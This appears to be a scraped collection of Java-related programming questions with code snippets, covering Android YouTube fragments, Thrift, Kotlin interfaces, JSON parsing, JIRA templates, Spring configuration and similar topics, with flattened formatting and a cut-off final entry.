android.os.Handler.dispatchMessage ( Handler.java:98 ) public class Main2Activity extends AppCompatActivity { private ListView mList ; private Context mContext ; private Activity mActivity ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main2 ) ; mContext = this ; mActivity = this ; mList = ( ListView ) findViewById ( R.id.list_view ) ; List < String > mVideoIDList = new ArrayList < > ( ) ; mVideoIDList.add ( `` KSGYVl4ZgRs '' ) ; // mVideoIDList.add ( `` nCgQDjiotG0 '' ) ; // mVideoIDList.add ( `` P3mAtvs5Elc '' ) ; mList.setAdapter ( new custom_youtube_list_adapter ( mContext , mVideoIDList , mActivity ) ) ; /** * @ usages * check YouTubePlayerFragment is working with main activity or not * * @ status : # Working */ /* YouTubePlayerFragment youtubeFragment = ( YouTubePlayerFragment ) getFragmentManager ( ) .findFragmentById ( R.id.youtubeplayerfragment ) ; youtubeFragment.initialize ( YOUTUBE_API_KEY , new YouTubePlayer.OnInitializedListener ( ) { @ Override public void onInitializationSuccess ( YouTubePlayer.Provider provider , YouTubePlayer youTubePlayer , boolean b ) { // do any work here to cue video , play video , etc . youTubePlayer.cueVideo ( `` KSGYVl4ZgRs '' ) ; } @ Override public void onInitializationFailure ( YouTubePlayer.Provider provider , YouTubeInitializationResult youTubeInitializationResult ) { } } ) ; */ } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' tools : context= '' com.example.youtubecardview.frag_youtube.Main2Activity '' > < ListView android : layout_width= '' wrap_content '' android : id= '' @ +id/list_view '' android : layout_height= '' wrap_content '' > < /ListView > < /RelativeLayout > public class custom_youtube_list_adapter extends BaseAdapter { private List < String > aList ; private Context aContext ; private Activity aActivity ; public custom_youtube_list_adapter ( Context mContext , List < String > mList , Activity mActivity ) { aList = new ArrayList < > ( ) ; this.aContext = mContext ; this.aList = mList ; this.aActivity =mActivity ; } @ Override public int getCount ( ) { return aList.size ( ) ; } @ Override public String getItem ( int i ) { return aList.get ( i ) ; } @ Override public long getItemId ( int i ) { return i ; } @ Override public View getView ( int position , View convertView , ViewGroup parent ) { mHolder holder ; LayoutInflater inflater = ( LayoutInflater ) aContext.getSystemService ( Context.LAYOUT_INFLATER_SERVICE ) ; View v ; if ( convertView == null ) { v =inflater.from ( aContext ) .inflate ( R.layout.custom_frag_youtube_list , null ) ; //v = inflater.inflate ( R.layout.custom_frag_youtube_list , null ) ; } else { v = convertView ; } YouTubePlayerFragment youtubeFragment = ( YouTubePlayerFragment ) aActivity.getFragmentManager ( ) .findFragmentById ( R.id.youtubeplayerfragment1 ) ; youtubeFragment.initialize ( YOUTUBE_API_KEY , new YouTubePlayer.OnInitializedListener ( ) { @ Override public void onInitializationSuccess ( YouTubePlayer.Provider provider , YouTubePlayer youTubePlayer , boolean b ) { // do any work here to cue video , play video , etc . youTubePlayer.cueVideo ( aList.get ( position ) ) ; } @ Override public void onInitializationFailure ( YouTubePlayer.Provider provider , YouTubeInitializationResult youTubeInitializationResult ) { } } ) ; return v ; } class mHolder { } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : id= '' @ +id/parent_relativeLayout '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' > < fragment android : name= '' com.google.android.youtube.player.YouTubePlayerFragment '' android : id= '' @ +id/youtubeplayerfragment1 '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' / > < /RelativeLayout > @ Override public View getView ( final int position , View convertView , ViewGroup parent ) { View view ; YouTubePlayerFragment youtubeFragment ; LayoutInflater inflater = ( LayoutInflater ) aContext.getSystemService ( Context.LAYOUT_INFLATER_SERVICE ) ; if ( convertView == null ) { View temp = inflater.inflate ( R.layout.custom_frag_youtube_list , parent , false ) ; final int id = View.generateViewId ( ) ; temp.setId ( id ) ; youtubeFragment = YouTubePlayerFragment.newInstance ( ) ; aActivity.getFragmentManager ( ) .beginTransaction ( ) .replace ( id , youtubeFragment ) .commit ( ) ; view = temp ; view.setTag ( youtubeFragment ) ; } else { view = convertView ; youtubeFragment = ( YouTubePlayerFragment ) view.getTag ( ) ; } youtubeFragment.initialize ( YOUTUBE_API_KEY , new YouTubePlayer.OnInitializedListener ( ) { @ Override public void onInitializationSuccess ( YouTubePlayer.Provider provider , YouTubePlayer youTubePlayer , boolean b ) { // do any work here to cue video , play video , etc . Log.e ( `` Youtube Position : `` , '' '' +position ) ; Log.e ( `` Youtube list value : `` , '' '' +aList.get ( position ) ) ; youTubePlayer.cueVideo ( aList.get ( position ) ) ; } @ Override public void onInitializationFailure ( YouTubePlayer.Provider provider , YouTubeInitializationResult youTubeInitializationResult ) { } } ) ; return view ; } @ Override public View getView ( final int position , View convertView , final ViewGroup parent ) { final mHolder holder ; final View fview ; final LayoutInflater inflater = ( LayoutInflater ) aContext.getSystemService ( Context.LAYOUT_INFLATER_SERVICE ) ; if ( convertView == null ) { holder = new mHolder ( ) ; fview = inflater.inflate ( R.layout.custom_youtube_frag_listview_list , parent , false ) ; holder.mLoaderFrame = ( ImageView ) fview.findViewById ( R.id.imgLayer1 ) ; fview.setTag ( holder ) ; } else { fview = convertView ; holder = ( mHolder ) fview.getTag ( ) ; } String VideoID = aList.get ( position ) ; /** * @ usages * https : //img.youtube.com/vi/VideoID/0.jpg * * where VideoID is ur youtube video id YOUTUBE_THUMBNAIL_URL_VIDEO1 = https : //img.youtube.com/vi/ YOUTUBE_THUMBNAIL_URL_VIDEO2 = /0.jpg */ String mURL = YOUTUBE_THUMBNAIL_URL_VIDEO1 + VideoID + YOUTUBE_THUMBNAIL_URL_VIDEO2 ; Glide.with ( aContext ) .load ( mURL ) .into ( holder.mLoaderFrame ) ; holder.mLoaderFrame.setVisibility ( View.VISIBLE ) ; if ( mCounterLeaveremove ! = 0 ) { int mId = position+1 ; if ( mCounterLeaveremove ! = mId ) { FragmentManager fragmentManager = aActivity.getFragmentManager ( ) ; Fragment oldFragment = null ; try { oldFragment = fragmentManager.findFragmentById ( mId ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } if ( oldFragment ! = null ) { // Delete fragmet from ui , do not forget commit ( ) otherwise no action // is going to be observed fragmentManager.beginTransaction ( ) .remove ( oldFragment ) .commit ( ) ; } } } holder.mLoaderFrame.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { mCounterLeaveremove = position+1 ; notifyDataSetChanged ( ) ; YouTubePlayerFragment youtubeFragment ; final int id = position+1 ; fview.setId ( id ) ; youtubeFragment = YouTubePlayerFragment.newInstance ( ) ; aActivity.getFragmentManager ( ) .beginTransaction ( ) .replace ( id , youtubeFragment ) .commit ( ) ; youtubeFragment.initialize ( YOUTUBE_API_KEY , new YouTubePlayer.OnInitializedListener ( ) { @ Override public void onInitializationSuccess ( YouTubePlayer.Provider provider , YouTubePlayer youTubePlayer , boolean b ) { Log.e ( `` Youtube Position : `` , `` '' + position ) ; Log.e ( `` Youtube list value : `` , `` '' + aList.get ( position ) ) ; holder.mLoaderFrame.setVisibility ( View.GONE ) ; String VideoID = aList.get ( position ) ; youTubePlayer.loadVideo ( VideoID ) ; youTubePlayer.setOnFullscreenListener ( new YouTubePlayer.OnFullscreenListener ( ) { @ Override public void onFullscreen ( boolean b ) { } } ) ; youTubePlayer.addFullscreenControlFlag ( 0 ) ; /** * @ usages * 1 . Listener use for manage video thumbnail and youtube player */ new custom_youtube_list_adapter.MyPlayerStateChangeListener ( holder.mLoaderFrame ) ; new custom_youtube_list_adapter.MyPlaybackEventListener ( holder.mLoaderFrame ) ; } @ Override public void onInitializationFailure ( YouTubePlayer.Provider provider , YouTubeInitializationResult youTubeInitializationResult ) { } } ) ; } } ) ; return fview ; }",YouTubePlayerFragment in ListView with AppCompatActivity Error +Java,I have this structure : ( namespace is java ) I want fileA.thrift to include both common.thriftThrift only reads content from the file specified first in order . Is there a way for this : common.thrift as common So that i can differentiate them . Or the only solution is to havedifferent file names,package/common.thriftcommon.thriftfileA.thrift include `` ... /package/common.thrift '' include `` common.thrift '' struct A { 1 : common.Something something # From first file ( no error ) 2 : common.SomethingElse else # This throws error . },Thrift include two files with same name ? +Java,( Note : There is a potential spoiler for one of the Kotlin Koans below . ) Given a higher order function that takes a function literal like this : How is it that java.util.HashMap satisfies the MutableMap interface that build is targeted against ? Does Kotlin support some sort of ducktyping or is this a special-case in the Kotlin language just for certain classes that are part of the JDK ? I looked at the Kotlin documentation on interfaces and searched a bit but could n't find anything that seemed to explain this .,"fun < K , V > buildMap ( build : MutableMap < K , V > . ( ) - > Unit ) : Map < K , V > { // How does java.util.HashMap satisfy the MutableMap interface ? // Does Kotlin support ducktyping ? val map = HashMap < K , V > ( ) map.build ( ) return map }",How does HashMap implement the MutableMap interface in Kotlin ? +Java,"In my android project , i have two modules , App modulebackend moduleI want to import a backend module class into one of my app module class . but when i try to import it like thisi get an error Error : ( 52 , 58 ) error : package com.me.you.backend.entities does not existThe next thing that i tried is to compile my backend module in my app 's build.gradle like thisBut i get 13 warnings ! of this typeAnd when i run my app module , i get this error java.util.zip.ZipException : duplicate entry : com/google/appengine/repackaged/com/google/api/client/auth/oauth2/AuthorizationCodeFlow $ Builder.class QuestionHow can i successfully import my backend class ?","import com.me.you.backend.entities dependencies { ... .compile project ( ' : backend ' ) } WARNING : Dependency org.apache.httpcomponents : httpclient:4.4.1 is ignored for debug as it may be conflicting with the internal version provided by Android.In case of problem , please repackage it with jarjar to change the class packages Error : Execution failed for task ' : app : packageAllDebugClassesForMultiDex ' .",How to import a backend module class into an app module in android studio +Java,Everything in Java seems to follow capitalization rules except for Hashtable . as opposed to or Why is this ? Is Hash Table read as just one word ( Hashtable ) ?,"Hashtable < String , String > ht = new Hashtable < String , String > ( ) ; ArrayList < String > a = new ArrayList < String > ( ) ; HashMap < String , Integer > a = new HashMap < String , Integer > ( ) ;",Why is the 't ' in Hash Table ( Hashtable ) in Java not capitalized +Java,"Is there a way to easily generate java beans given a vector in clojure ? For example given a vector like this : I 'd like it to generate code like this : For context , I 'd like to write an app that is written in java but calls into a library written in clojure . So that means the return values should be java beans ( I know they do n't have to be , but I 'd like them to be ) . One way would be to define the model in java and then use clojure 's normal java interop to populate the model in the clojure code , but I like the idea of a concise clojure vector ( or map ) expanding out to a ( verbose ) java bean .","[ String : key1 Integer : key2 ] public class NotSureWhatTheTypeWouldBeHere { private String key1 ; private Integer key2 ; public NotSureWhatTheTypeWouldBeHere ( ) { } public NotSureWhatTheTypeWouldBeHere ( String key1 , Integer key2 ) { this.key1 = key1 ; this.key2 = key2 ; } public void setKey1 ( String key1 ) { this.key1 = key1 ; } public String getKey1 ( ) { return this.key1 ; } public void setKey2 ( Integer key2 ) { this.key2 = key2 ; } public String getKey2 ( ) { return this.key2 ; } // and equals , hashCode , toString , etc . }",generate java beans with clojure +Java,"Consider the following two classes : This code will produce an error at publicintmoo , saying that int is incompatible with the overridden method 's return type Integer . Strictly speaking , this is true , since int does not directly equal Integer . However , we all know that they can be implicitly converted to each other using auto ( un ) boxing . What is less know is the fact that the compiler generates a bridge method in this example : This has to be done because the JVM differentiates between return types when resolving methods , and since the erased return type of Foo.moo is Object , the compiler generated a bridge method with the same signature as the method.I am wondering why this would n't work with primitive polymorphic return types as well : There does n't seem to be any reason not to have this feature : In fact , this screenshot of a REPL session shows that I was even able to implement this in my custom programming language ( which compiles down to Java bytecode ) :","public interface Foo < T > { public T moo ( ) ; } public class IntFoo implements Foo < Integer > { public int moo ( ) { return 0 ; } } public class IntFoo implements Foo < Integer > { public < synthetic > < bridge > Object moo ( ) { return this.moo ( ) ; // upcast } public Integer moo ( ) { return 0 ; } } public class IntFoo implements Foo < Integer > { public < synthetic > < bridge > Object moo ( ) { return Integer.valueOf ( this.moo ( ) ) ; } public int moo ( ) { return 0 ; } } IntFoo intFoo = new IntFoo ( ) ; Foo < Integer > foo = intFoo ; Integer i = foo.moo ( ) ; // calls the synthetic method , which boxes the result of the actual implementation",Why is it not possible use primitive types with polymorphic return types ? +Java,"I 've set a conditional breakpoint on the wrong line . I would like to move it up one line . Is that even possible ? I know that I can always copy paste the condition into a new breakpoint at the correct line , but just drag & drop would be more convenient.Example : In the example Eclipse will break for each item in the internalList , while if it breaks on the numberFound definition it should break only once . Which is more convenient in my current scenario .",private void loopOverInternalList ( Object findThis ) { int numberFound = 0 ; //I want conditional breakpoint here . for ( Object listItem : internalList ) { // Breakpoint [ findThis.getSomeProperty ( ) == true ] // do something ... } },How can I move a conditional breakpoint in Eclipse ? +Java,"Sometimes when I need lazily initialized field , I use following design pattern.It looks like Double Checking idion , but not exactly . There is no synchronization and it is possible for loadDictionary method to be called several times.I use this pattern when the concurrency is pretty low . Also I bear in mind following assumptions when using this pattern : loadDictionary method always returns the same data.loadDictionary method is thread-safe.My questions : Is this pattern correct ? In other words , is it possible for getDictionary ( ) to return invalid data ? Is it possible to make dict field non-volatile for more efficiency ? Is there any better solution ?",class DictionaryHolder { private volatile Dictionary dict ; // some heavy object public Dictionary getDictionary ( ) { Dictionary d = this.dict ; if ( d == null ) { d = loadDictionary ( ) ; // costy operation this.dict = d ; } return d ; } },"Java , lazily initialized field without synchronization" +Java,"I would like to change the notification behavior of JIRA and add additional receivers to certain issue events . I know that I could register the EventPublisher and catch all necessary events.In the onIssueEvent I would like to reuse the existing email templates from JIRA and send them with the SMTPMailServer object to further receivers . At the moment I 'm using following code to read and fill the velocity templates.The above code work partial . A couple of fields are filled , but I still miss the CSS , images or i18n in the email notification . Please note , I wo n't use any additional add-ons from the marketplace.Is this the correct implementation to reuse the JIRA templates ? How to include the CSS , images , i18n , etc. ? Or could I use a different approach ?","public class MyIssueCreatedResolvedListenerImpl implements InitializingBean , DisposableBean { private final EventPublisher eventPublisher ; public MyIssueCreatedResolvedListenerImpl ( EventPublisher eventPublisher ) { this.eventPublisher = eventPublisher ; } @ Override public void afterPropertiesSet ( ) throws Exception { eventPublisher.register ( this ) ; } @ Override public void destroy ( ) throws Exception { eventPublisher.unregister ( this ) ; } @ EventListener public void onIssueEvent ( IssueEvent issueEvent ) { // Process the issue events . I 'm using the code presented below . } } ApplicationProperties ap = ComponentAccessor.getApplicationProperties ( ) ; String baseUrl = ap.getString ( APKeys.JIRA_BASEURL ) ; String webworkEncoding = ap.getString ( APKeys.JIRA_WEBWORK_ENCODING ) ; VelocityManager vm = ComponentAccessor.getVelocityManager ( ) ; VelocityParamFactory vp = ComponentAccessor.getVelocityParamFactory ( ) ; Map context = vp.getDefaultVelocityParams ( ) ; context.put ( `` baseurl '' , baseUrl ) ; context.put ( `` currentTimestamp '' , new Date ( ) ) ; context.put ( `` issue '' , issueEvent.getIssue ( ) ) ; String renderedText = vm.getEncodedBody ( `` templates/email/html/ '' , `` issueclosed.vm '' , baseUrl , webworkEncoding , context ) ; SMTPMailServer mailServer = MailFactory.getServerManager ( ) .getDefaultSMTPMailServer ( ) ; Email email = new Email ( `` < E-Mail-Adress > '' ) ; email.setMimeType ( `` text/html '' ) ; email.setEncoding ( `` utf-8 '' ) ; email.setBody ( renderedText ) ; try { mailServer.send ( email ) ; } catch ( MailException e ) { e.printStackTrace ( ) ; }",How to reuse the JIRA velocity templates for emails ? +Java,"How can I detect that the telephone does not have hardware keyboard and only in that case to force showing the virtual one ? And how can I hide it ? I tried putting the focus like this but it does n't work : If I force like this the virtual keyboard , the keyboard will appear also when a hardware keyboard is available , which does n't make sense.And last but not least , how can I show directly the numerical or phone keyboard ? ( Not the normal keyboard ) Any idea ? Thanks !","View exampleView = ( View ) findViewById ( R.id.exampleBox ) ; exampleView.requestFocus ( ) ; InputMethodManager inputMgr = ( InputMethodManager ) getSystemService ( Context.INPUT_METHOD_SERVICE ) ; inputMgr.toggleSoftInput ( 0 , 0 ) ;",How to force to show and hide virtual Keyboard if no hardware keyboard is available ? +Java,I 've written the following code to determine the data-type of input entered by the user . Update : Removed parsing into Float since a Double value can also be parsed into Float at cost of some precision as mentioned by @ DodgyCodeExceptionI 've to run this repeatedly hundreds of time and I 've read catching Exception is an expensive operation.Is there any better way to achieve this ?,import java.util.Scanner ; import org.json.JSONArray ; import org.json.JSONException ; import org.json.JSONObject ; public class Main { public static void main ( String [ ] args ) { Scanner src = new Scanner ( System.in ) ; String input ; System.out.println ( `` Enter input : '' ) ; input = src.nextLine ( ) ; System.out.println ( `` You entered : '' + getDataType ( input ) ) ; } private static String getDataType ( Object input ) { try { JSONObject obj = new JSONObject ( ( String ) input ) ; return `` JSONObject '' ; } catch ( JSONException ex ) { try { JSONArray array = new JSONArray ( input ) ; return `` JSONArray '' ; } catch ( JSONException ex0 ) { try { Integer inti = Integer.parseInt ( ( String ) input ) ; return `` Integer '' ; } catch ( NumberFormatException ex1 ) { try { Double dub = Double.parseDouble ( ( String ) input ) ; return `` Double '' ; } catch ( NumberFormatException ex3 ) { return `` String '' ; } } } } } } },Determine user input data-type dynamically in JAVA +Java,"Assuming that I have this JSON file : By using Jackson , how can I get the type = Y value ? It can be also reached by using gson.jarWhat I tried so far is :","{ `` level1 '' : { `` type '' : `` x '' } , `` level2 '' : { `` level3 '' : { `` level3 '' : { `` type '' : `` Y '' } } } } ObjectMapper ob = new ObjectMapper ( ) ; String jsonContent = `` ... '' ; JsonNode root = ob.readTree ( jsonContent ) root.path ( `` level1 '' ) ; //return results fineroot.path ( `` level2 '' ) .path ( `` level3 '' ) ; //not return any resultsroot.path ( `` level2/level3 '' ) ; //not return any results",How reach json values in depth of other levels ? +Java,"After update API ( 27 ) in Android OREO this code is no longer working : I have also tried with : Element not hiding and debug return : So I think the javascript is injected before loading page , this explains why the line is 1 , because I have other code called after loading page is finished but this code is called when page is white , not loaded .","public void onPageFinished ( WebView view , String url ) { super.onPageFinished ( view , url ) ; view.loadUrl ( `` javascript : ( function ( ) { document.getElementById ( \ '' imPage\ '' ) .style.display='none ' ; } ) ( ) '' ) ; } webView.loadUrl ( `` javascript : ( function ( ) { `` + `` document.addEventListener ( \ '' DOMContentLoaded\ '' , function ( event ) { `` + `` document.getElementById ( \ '' imPage\ '' ) .style.display='none ' ; '' + `` } ) ; '' + `` } ) ( ) '' ) ; I/chromium : [ INFO : CONSOLE ( 1 ) ] `` Uncaught TypeError : Can not read property 'style ' of null '' , source : mywebsite/ ( 1 )",Android WebView onPageFinished BUG +Java,"I 'm working with GeoTiff/PNG files too large for handling as a whole in my code.Is there any possibility to decode specific areas ( e.g . given by two x , y coordinates ) of a file in bitmapfactory ? Have n't found anything looking similar at http : //developer.android.com/reference/android/graphics/BitmapFactory.html ( Android 's developer reference ) .Thanks ! With kcoppock 's hint I 've set up the following solution.Though I 'm wondering why rect needs to be initialized by Rect ( left , bottom , right , top ) instead of Rect ( left , top , right , bottom ) ... Example call : Function :","Bitmap myBitmap = loadBitmapRegion ( context , R.drawable.heightmap , 0.08f , 0.32f , 0.13f , 0.27f ) ; public static Bitmap loadBitmapRegion ( Context context , int resourceID , float regionLeft , float regionTop , float regionRight , float regionBottom ) { // Get input stream for resource InputStream is = context.getResources ( ) .openRawResource ( resourceID ) ; // Set options BitmapFactory.Options opt = new BitmapFactory.Options ( ) ; //opt.inPreferredConfig = Bitmap.Config.ARGB_8888 ; //standard // Create decoder BitmapRegionDecoder decoder = null ; try { decoder = BitmapRegionDecoder.newInstance ( is , false ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } // Get resource dimensions int h = decoder.getHeight ( ) ; int w = decoder.getWidth ( ) ; // Set region to decode Rect region = new Rect ( Math.round ( regionLeft*w ) , Math.round ( regionBottom*h ) , Math.round ( regionRight*w ) , Math.round ( regionTop*h ) ) ; // Return bitmap return decoder.decodeRegion ( region , opt ) ; }",Decode specific areas of image in Bitmapfactory ? +Java,"in java 8 projects you simply add the following dependencys in mavenUsing OpenJDK , Eclipse 2018-12and maven module , it results in getting a error in the module-info.java : The package javax.json.stream is accessible from more than one module : java.json , org.glassfish.java.jsonSo in both dependency projects there is a package called javax.json.stream and due to jigsaw module system this is not allowed anymore ? How to fix this ? EDIT : I updated the maven dependency to 1.1.4 and put them on the classpath.The javax.json-api has a module-info.java file and is working fine , eclipse shows no more errors.But now the packages of the implementation javax.json ( org.glassfish ) are not found , resulting in a ClassNotFoundException : org.glassfish.json.JsonProviderImplWhat more can I do ? EDIT : Its working now , i forgot to generate a module-info.java in this project .",< dependency > < groupId > javax.json < /groupId > < artifactId > javax.json-api < /artifactId > < version > 1.1 < /version > < /dependency > < dependency > < groupId > org.glassfish < /groupId > < artifactId > javax.json < /artifactId > < version > 1.1 < /version > < /dependency >,How to add maven dependencies of json to modules in > = Java 9 +Java,"In java , an EnumSet stores the items it contains in a bitmask / bit vector using a long ( RegularEnumSet ) or long [ ] ( JumboEnumSet ) . I have now come across a use case where I have many thousand domain Objects ( let 's call them Node ) , each of which will show all items of an enum ( let 's call that Flag ) in an order that will vary per Object.Currently I am storing the Order as Guava ImmutableSet , because that guarantees to retain insertion order . However , I have used the methods explained on this page to compare memory usage in an EnumSet < Flag > , an ImmutableSet < Flag > and a Flag [ ] . Here are the results when a ) Flag has 64 enum items and b ) all three variants contain all 64 items : EnumSet : 32 bytes ImmutableSet : 832 bytes Array : 272 bytesSo my question is : is there a clever way to pack the enum ordering into a numeric value to get a memory footprint smaller than that of the array ? If it makes a difference : in my use case I would assume that the ordering always contains all Enum items.To clarify : my enum is much smaller than that and I do n't have any memory problems as of now , nor is it likely that this situation will ever give me memory problems . It 's just that this inefficiency bugs me , even on this microscopic level.Update : After suggestions from the various answers and comments I came up with this data structure that uses a byte array . Caveat : It does n't implement the Set interface ( does n't check for unique values ) and it wo n't scale to large enums beyond what a byte can hold . Also , the complexity is pretty awful , because Enum.values ( ) has to be queried repeatedly ( see here for a discussion of this problem ) , but here goes : The memory footprint is : EnumOrdering:104That 's a pretty good result so far , thanks to bestsss and JB Nizet ! Update : I have changed the code to only implement Iterable , because anything else would require sensible implementations for equals / hashCode / contains etc .","public class EnumOrdering < E extends Enum < E > > implements Iterable < E > { private final Class < E > type ; private final byte [ ] order ; public EnumOrdering ( final Class < E > type , final Collection < E > order ) { this.type = type ; this.order = new byte [ order.size ( ) ] ; int offset = 0 ; for ( final E item : order ) { this.order [ offset++ ] = ( byte ) item.ordinal ( ) ; } } @ Override public Iterator < E > iterator ( ) { return new AbstractIterator < E > ( ) { private int offset = -1 ; private final E [ ] enumConstants = type.getEnumConstants ( ) ; @ Override protected E computeNext ( ) { if ( offset < order.length - 1 ) { return enumConstants [ order [ ++offset ] ] ; } return endOfData ( ) ; } } ; } }",Store an ordering of Enums in Java +Java,"Somehow Youtube HTML5 video stopped working for me about a week ago . I have no idea why . Here 's the code that was working last week ( well , not the real code , but the smallest example I could make ) : This does n't work on my phone or the emulator . The crazy part is that Vimeo still works great . I tried setting an iPhone user agent , but that did n't work and I 'm out of ideas . It really looks like Youtube has changed something ...","public class VideoTestActivity extends Activity { @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; WebView webView = new WebView ( this ) ; webView.getSettings ( ) .setJavaScriptEnabled ( true ) ; webView.getSettings ( ) .setPluginState ( PluginState.OFF ) ; webView.setWebChromeClient ( new TestWebChromeClient ( ) ) ; setContentView ( webView ) ; // Try with http : //player.vimeo.com/video/24158845 and it works . webView.loadUrl ( `` http : //www.youtube.com/embed/e2UIg3Ddfp0 '' ) ; } private class TestWebChromeClient extends WebChromeClient { @ Override public void onShowCustomView ( View view , WebChromeClient.CustomViewCallback callback ) { super.onShowCustomView ( view , callback ) ; VideoTestActivity.this.setContentView ( view ) ; } } }",Youtube HTML5 Video Stopped Working in Android +Java,"Here 's my code as per now.My colleague writes realy nice code using the Java stream API . I tried to rewrite it as one streaming statement , but I got stuck.How can I do this ? Ideally I want a single streaming statement ...",List < Cat > cats = petStore.getCatsForSale ( ) ; if ( ! cats.empty ) logger.info ( `` Processing for cats : `` + cats.size ( ) ) ; for ( Cat cat : cats ) { cat.giveFood ( ) ; } petStore.getCatsForSale ( ) .stream.forEach ( cat - > cat.giveFood ) .countTheCats ( ) .thenDo ( logger.info ( `` Total number of cats : `` + x ) ) ; // Incorrect ... is this possible ?,"How do I list , map and `` print if count > 0 '' with Java 8 / stream API ?" +Java,"Is there any reserve words for JSON as a KEY ? my Json structure is OUTPUT : So the problem is why my json is behaving in a weird manner.I have not defined `` class '' as variable name , it 's just a Key.Problem is , if an argument is given like , '' class '' is a key or reserve word then how i successfully inserted in Line # 2 , and if its insert able in dimObject then why its not insert able in finalObject . Please help me solving this mysteryEXACT CODE : :","dimObject { String : String } finalObject ( String : dimObject } Line1 # JSONObject dimObject=new JSONObject ( ) Line2 # dimObject.put ( `` class '' , [ `` A '' , '' B '' , '' c '' ] ) ; Line3 # dimObject.put ( `` name '' , [ `` sam '' ] ) ; Line4 # System.out.print ( `` dimObject # '' +dimObject.toString ( ) ) ; Line5 # JSONObject finalObject=new new JSONObect ( ) ; Line6 # finalObject ( `` supplier '' , dimObject ) ; Line7 # System.out.print ( `` finalObject # '' +finalObject.toString ( ) ) ; dimObject # { `` class '' : [ `` A '' , '' B '' , '' c '' ] , '' name '' : [ `` sam '' ] } finalObject # { `` supplier '' : { `` name '' : [ `` sam '' ] } } public JSONObject getRequiredAttributesWithValues ( ) { List < UserConstraint > constraintList = new ArrayList < UserConstraint > ( ) ; Map < String , FactTableOptimizingInfo > factTableMap = MappingInfo.INSTANCE . getFactTableUserNameToFactTableOptimizingInfoMap ( ) ; Map < String , DimensionTableInfo > dimTableMap = MappingInfo.INSTANCE.getDimTableRealNameToObjectMap ( ) ; JSONObject requiredAttributes = getRequiredAttributes ( ) ; JSONObject finalObject = new JSONObject ( ) ; for ( Object dimName : requiredAttributes.keySet ( ) ) { JSONObject dimObject = new JSONObject ( ) ; JSONArray colNames = requiredAttributes.getJSONArray ( ( String ) dimName ) ; for ( Object colName : colNames ) { List < String > columnList = new ArrayList < String > ( ) ; String dimensionName = ( String ) dimName ; String columnName = ( String ) colName ; constraintList = new ArrayList < UserConstraint > ( ) ; for ( FilterDataStructure filter : this.info.getGlobalFilterList ( ) ) { if ( filter.getDimName ( ) .equals ( dimensionName ) ) { if ( filter.getColumnName ( ) .equals ( columnName ) ) { AtomicConstraint.ConstraintType type ; try { Integer.parseInt ( filter.getValue ( ) ) ; type = AtomicConstraint.ConstraintType.INTEGER_TYPE ; } catch ( NumberFormatException e ) { type = AtomicConstraint.ConstraintType.STRING_TYPE ; } UserConstraint constraint = new UserAtomicConstraint ( dimensionName , columnName , AtomicConstraint.getStringToOperator ( filter.getOperator ( ) ) , filter.getValue ( ) , type , factTableMap , dimTableMap ) ; constraintList.add ( constraint ) ; } } } columnList.add ( columnName ) ; List < UserDimensionInfoToBuildQuery > dimList = new ArrayList < UserDimensionInfoToBuildQuery > ( ) ; UserTableAndColInfo groupByInfo = new UserTableAndColInfo ( dimensionName , columnName ) ; ArrayList < UserTableAndColInfo > groupByInfoList = new ArrayList < UserTableAndColInfo > ( ) ; groupByInfoList.add ( groupByInfo ) ; UserDimensionInfoToBuildQuery dim = new UserDimensionInfoToBuildQuery ( dimensionName , columnList ) ; dimList.add ( dim ) ; UserInfoToBuildQuery.Builder queryBuilder = new UserInfoToBuildQuery.Builder ( dimList ) . groupBy ( groupByInfoList ) ; if ( constraintList ! = null & & ! ( constraintList.isEmpty ( ) ) ) { if ( constraintList.size ( ) > 1 ) { queryBuilder = queryBuilder.constraints ( new UserComplexConstraint ( constraintList , ComplexConstraint.Joiner.AND ) ) ; } else { queryBuilder = queryBuilder.constraints ( constraintList.get ( 0 ) ) ; } } List < Object > result = ( List < Object > ) DataAccessor.getData ( queryBuilder.build ( ) ) ; if ( result == null ) { continue ; } JSONArray valueArray = new JSONArray ( ) ; for ( Object row : result ) { List < Object > splitRow = ( List < Object > ) row ; valueArray.add ( splitRow.get ( 0 ) .toString ( ) ) ; } dimObject.put ( colName , valueArray ) ; } finalObject.put ( dimName , dimObject ) ; } return finalObject ; } }",Why is json behaving in this weird manner ? +Java,"I 'm using the @ ContextConfiguration annotation to manage configurations in my application . The configurations are created so that they provide only the beans that are exposed by that given module . For this reason , some beans that are used by the given module are not necessarily imported directly . Example : In words , the configuration uses module1 which requires ( but must not directly import ) the database configuration . Therefore , configuration uses the database module as well.But it seems like the order in which the imports are resolved is quite random . Even if I useThis results in indeterministic failure on initialization ( NoSuchBeanDefinitionException ) . Is there any way to influence the order in which the beans are initialized ? Or should I create an overlay of configurations that @ Import the configurations along the dependencies ? But in that case the same question applies to @ Import as it has to ensure the order in which the dependencies are loaded .","configuration -- ( use ) -- > module1 -- ( can not @ Import ) -- > database \- ( use ) -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- > database @ ContextConfiguration ( classes= { DatabaseConfig.class , Module1Config.class } )",Can the order of initialization of the configuration classes in @ ContextConfiguration be influenced ? +Java,"Hey all . A friend wrote up some Java code for me and I am easily able to convert it to C++ but I am very curious as to the equivalent for a Java iterator in C++ . Here is the code and I would most likely want the data to returned into a vector . Any help is appreciatedAgain , any help on how this would fit into the scheme of a single function ( if possible ) in C++ would be fantastic . Thanks !","public class RLEIteratorextends RegionIterator { public int reg = 0 ; public int mode = 0 ; public int skip = 0 ; // mode is the number of IDs that are valid still ( count down ) // skip is used after we run out of mode IDs , and move forward // The goal is , to always have a valid 'hasNext ' state , after // an ID is read via 'next ' . Thus , the initial search , and then // the reading forward if mode == 0 , after the ID is found . public int i ; public RLEIterator ( ) { // Need to set up the skip of 